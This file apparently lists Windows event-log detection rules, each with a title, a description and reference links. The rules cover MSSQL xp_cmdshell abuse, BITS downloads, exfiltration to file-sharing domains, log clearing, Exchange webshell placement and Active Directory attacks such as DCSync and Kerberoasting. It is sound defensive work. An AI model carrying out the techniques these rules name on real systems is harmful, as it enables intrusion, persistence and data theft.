Application Uninstalled	An application has been removed. Check if it is critical.	https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/Microsoft-Windows-MsiServer.xml, https://learn.microsoft.com/en-us/windows/win32/msi/event-logging
Restricted Software Access By SRP	Detects restricted access to applications by the Software Restriction Policies (SRP) policy	https://learn.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies, https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
MSI Installation From Suspicious Locations	Detects MSI package installation from suspicious locations	https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html
MSI Installation From Web	Detects installation of a remote msi file from web.	https://twitter.com/_st0pp3r_/status/1583922009842802689
Atera Agent Installation	Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators	https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent
MSSQL Add Account To Sysadmin Role	Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role	https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
MSSQL Disable Audit Settings	Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server	https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/, https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16, https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16
MSSQL Server Failed Logon	Detects failed logon attempts from clients to MSSQL server.	https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/, https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html
MSSQL Server Failed Logon From External Network	Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.	https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/, https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html
MSSQL SPProcoption Set	Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started	https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/, https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16
MSSQL XPCmdshell Suspicious Execution	Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands	https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/, https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
MSSQL XPCmdshell Option Change	Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.	https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/, https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Relevant Anti-Virus Signature Keywords In Application Log	Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.	https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31, https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed, https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01, https://www.nextron-systems.com/?s=antivirus
Remote Access Tool - ScreenConnect Command Execution	Detects command execution via ScreenConnect RMM	https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling, https://github.com/SigmaHQ/sigma/pull/4467
Remote Access Tool - ScreenConnect File Transfer	Detects file being transferred via ScreenConnect RMM	https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling, https://github.com/SigmaHQ/sigma/pull/4467
Microsoft Malware Protection Engine Crash - WER	This rule detects a suspicious crash of the Microsoft Malware Protection Engine	https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5, https://technet.microsoft.com/en-us/library/security/4022344
File Was Not Allowed To Run	Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/what-is-applocker, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/using-event-viewer-with-applocker, https://nxlog.co/documentation/nxlog-user-guide/applocker.html
Sysinternals Tools AppX Versions Execution	Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths	Internal Research
Deployment AppX Package Was Blocked By AppLocker	Detects an appx package deployment that was blocked by AppLocker policy	https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
Potential Malicious AppX Package Installation Attempts	Detects potential installation or installation attempts of known malicious appx packages	https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/, https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/, https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/
Deployment Of The AppX Package Was Blocked By The Policy	Detects an appx package deployment that was blocked by the local computer policy	https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWEventsList/CSV/Windows11/22H2/W11_22H2_Pro_20220920_22621.382/Providers/Microsoft-Windows-AppXDeployment-Server.csv
Suspicious AppX Package Installation Attempt	Detects an appx package installation with the error code "0x80073cff" which indicates that the package didn't meet the signing requirements and could be suspicious	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/, https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
Suspicious Remote AppX Package Locations	Detects an appx package added to the pipeline of the "to be processed" packages which was downloaded from a suspicious domain.	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/, https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
Suspicious AppX Package Locations	Detects an appx package added the pipeline of the "to be processed" packages which is located in suspicious locations	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/, https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
Uncommon AppX Package Locations	Detects an appx package added the pipeline of the "to be processed" packages which is located in uncommon locations	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/, https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting, https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
Suspicious Digital Signature Of AppX Package	Detects execution of AppX packages with known suspicious or malicious signature	Internal Research, https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
New BITS Job Created Via Bitsadmin	Detects the creation of a new bits job by Bitsadmin	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
New BITS Job Created Via PowerShell	Detects the creation of a new bits job by PowerShell	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
BITS Transfer Job Downloading File Potential Suspicious Extension	Detects new BITS transfer job saving local files with potential suspicious extensions	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
BITS Transfer Job Download From File Sharing Domains	Detects BITS transfer job downloading files from a file sharing domain.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md, https://twitter.com/malmoeb/status/1535142803075960832, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
BITS Transfer Job Download From Direct IP	Detects a BITS transfer job downloading file(s) from a direct IP address.	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/, https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
BITS Transfer Job With Uncommon Or Suspicious Remote TLD	Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md, https://twitter.com/malmoeb/status/1535142803075960832
BITS Transfer Job Download To Potential Suspicious Folder	Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md
Certificate Private Key Acquired	Detects when an application acquires a certificate private key	https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
Certificate Exported From Local Certificate Store	Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.	https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
CodeIntegrity - Unmet Signing Level Requirements By File Under Validation	Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.	https://twitter.com/SBousseaden/status/1483810148602814466, https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked	Detects block events for files that are disallowed by code integrity for protected processes	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Blocked Image/Driver Load For Policy Violation	Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.	https://twitter.com/wdormann/status/1590434950335320065, https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
CodeIntegrity - Blocked Driver Load With Revoked Certificate	Detects blocked load attempts of revoked drivers	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Revoked Kernel Driver Loaded	Detects the load of a revoked kernel driver	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Blocked Image Load With Revoked Certificate	Detects blocked image load events with revoked certificates by code integrity.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Revoked Image Loaded	Detects image load events with revoked certificates by code integrity.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Unsigned Kernel Module Loaded	Detects the presence of a loaded unsigned kernel module on the system.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Unsigned Image Loaded	Detects loaded unsigned image on the system	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module	Detects loaded kernel modules that did not meet the WHQL signing requirements.	https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations, Internal Research
Loading Diagcab Package From Remote Path	Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability	https://twitter.com/nas_bench/status/1539679555908141061, https://twitter.com/j00sean/status/1537750439701225472
DNS Query for Anonfiles.com Domain - DNS Client	Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes	https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
DNS Query To MEGA Hosting Website - DNS Client	Detects DNS queries for subdomains related to MEGA sharing website	https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
DNS Query To Put.io - DNS Client	Detects DNS queries for subdomains related to "Put.io" sharing website.	https://darkatlas.io/blog/medusa-ransomware-group-opsec-failure
Query Tor Onion Address - DNS Client	Detects DNS resolution of an .onion address related to Tor routing networks	https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
DNS Query To Ufile.io - DNS Client	Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration	https://thedfirreport.com/2021/12/13/diavol-ransomware/
Suspicious Cobalt Strike DNS Beaconing - DNS Client	Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons	https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns, https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
Failed DNS Zone Transfer	Detects when a DNS zone transfer failed.	https://kb.eventtracker.com/evtpass/evtpages/EventId_6004_Microsoft-Windows-DNS-Server-Service_65410.asp
DNS Server Error Failed Loading the ServerLevelPluginDLL	Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded	https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83, https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx, https://twitter.com/gentilkiwi/status/861641945944391680
USB Device Plugged	Detects plugged/unplugged USB devices	https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/, https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/
Uncommon New Firewall Rule Added In Windows Firewall Exception List	Detects when a rule has been added to the Windows Firewall exception list	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application	Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10), https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/#
New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE	Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule".	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule, https://malware.news/t/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/72170, https://cybersecuritynews.com/rhysida-ransomware-attacking-windows/
All Rules Have Been Deleted From The Windows Firewall Configuration	Detects when a all the rules have been deleted from the Windows Defender Firewall configuration	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
A Rule Has Been Deleted From The Windows Firewall Exception List	Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
The Windows Defender Firewall Service Failed To Load Group Policy	Detects activity when The Windows Defender Firewall service failed to load Group Policy	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
Windows Defender Firewall Has Been Reset To Its Default Configuration	Detects activity when Windows Defender Firewall has been reset to its default configuration	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
Windows Firewall Settings Have Been Changed	Detects activity when the settings of the Windows firewall have been changed	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
ETW Logging/Processing Option Disabled On IIS Server	Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option.	https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis, https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/, https://learn.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/sitedefaults/logfile/
HTTP Logging Disabled On IIS Server	Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests.	https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis, https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/, https://learn.microsoft.com/en-us/iis/configuration/system.webserver/httplogging
New Module Module Added To IIS Server	Detects the addition of a new module to an IIS server.	https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis, https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/, https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/, https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
Previously Installed IIS Module Was Removed	Detects the removal of a previously installed IIS module.	https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis, https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/, https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/, https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
Potential Active Directory Reconnaissance/Enumeration Via LDAP	Detects potential Active Directory enumeration via LDAP	https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726, https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1, https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs, https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c, https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427, https://ipurple.team/2024/07/15/sharphound-detection/
Standard User In High Privileged Group	Detect standard users login that are part of high privileged groups such as the Administrator group	https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers, https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection, https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml
ProxyLogon MSExchange OabVirtualDirectory	Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory	https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
Mailbox Export to Exchange Webserver	Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it	https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
Certificate Request Export to Exchange Webserver	Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell	https://twitter.com/GossiTheDog/status/1429175908905127938
Remove Exported Mailbox from Exchange Webserver	Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit	https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430
Exchange Set OabVirtualDirectory ExternalUrl Property	Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log	https://twitter.com/OTR_Community/status/1371053369071132675
MSExchange Transport Agent Installation - Builtin	Detects the Installation of a Exchange Transport Agent	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7
Failed MSExchange Transport Agent Installation	Detects a failed installation of a Exchange Transport Agent	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=8
NTLM Logon	Detects logons using NTLM, which could be caused by a legacy source or attackers	https://twitter.com/JohnLaTwC/status/1004895028995477505
NTLM Brute Force	Detects common NTLM brute force device names	https://www.varonis.com/blog/investigate-ntlm-brute-force
Potential Remote Desktop Connection to Non-Domain Host	Detects logons using NTLM to hosts that are potentially not part of the domain.	n/a
OpenSSH Server Listening On Socket	Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.	https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH, https://winaero.com/enable-openssh-server-windows-10/, https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse, https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx, https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
Azure AD Health Monitoring Agent Registry Keys Access	This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent. This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent.	https://o365blog.com/post/hybridhealthagent/, https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml
Azure AD Health Service Agents Registry Keys Access	This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.	https://o365blog.com/post/hybridhealthagent/, https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml
Powerview Add-DomainObjectAcl DCSync AD Extend Right	Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer	https://twitter.com/menasec1/status/1111556090137903104, https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
AD Privileged Users or Groups Reconnaissance	Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs	https://web.archive.org/web/20230329163438/https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html
ADCS Certificate Template Configuration Vulnerability	Detects certificate creation with template allowing risk permission subject	https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
ADCS Certificate Template Configuration Vulnerability with Risky EKU	Detects certificate creation with template allowing risk permission subject and risky EKU	https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
Add or Remove Computer from DC	Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.	https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4741, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4743
Access To ADMIN$ Network Share	Detects access to ADMIN$ network share	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5140
AD Object WriteDAC Access	Detects WRITE_DAC access to a domain object	https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html, https://threathunterplaybook.com/library/windows/active_directory_replication.html, https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html
Active Directory Replication from Non Machine Account	Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.	https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html, https://threathunterplaybook.com/library/windows/active_directory_replication.html, https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html
Potential AD User Enumeration From Non-Machine Account	Detects read access to a domain user from a non-machine account	https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf, http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html, https://learn.microsoft.com/en-us/windows/win32/adschema/attributes-all, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662
Enabled User Right in AD to Control User Objects	Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.	https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
Active Directory User Backdoors	Detects scenarios where one can control another users or computers account without having to use their credentials.	https://msdn.microsoft.com/en-us/library/cc220234.aspx, https://adsecurity.org/?p=3466, https://blog.harmj0y.net/redteaming/another-word-on-delegation/
Weak Encryption Enabled and Kerberoast	Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.	https://adsecurity.org/?p=2053, https://blog.harmj0y.net/redteaming/another-word-on-delegation/
Hacktool Ruler	This events that are generated when using the hacktool Ruler by Sensepost	https://github.com/sensepost/ruler, https://github.com/sensepost/ruler/issues/47, https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624
Remote Task Creation via ATSVC Named Pipe	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe	https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
Security Eventlog Cleared	One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution	https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100, https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml
Processes Accessing the Microphone and Webcam	Potential adversaries accessing the microphone and webcam in an endpoint.	https://twitter.com/duzvik/status/1269671601852813320, https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072
Failed Code Integrity Checks	Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5038, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6281
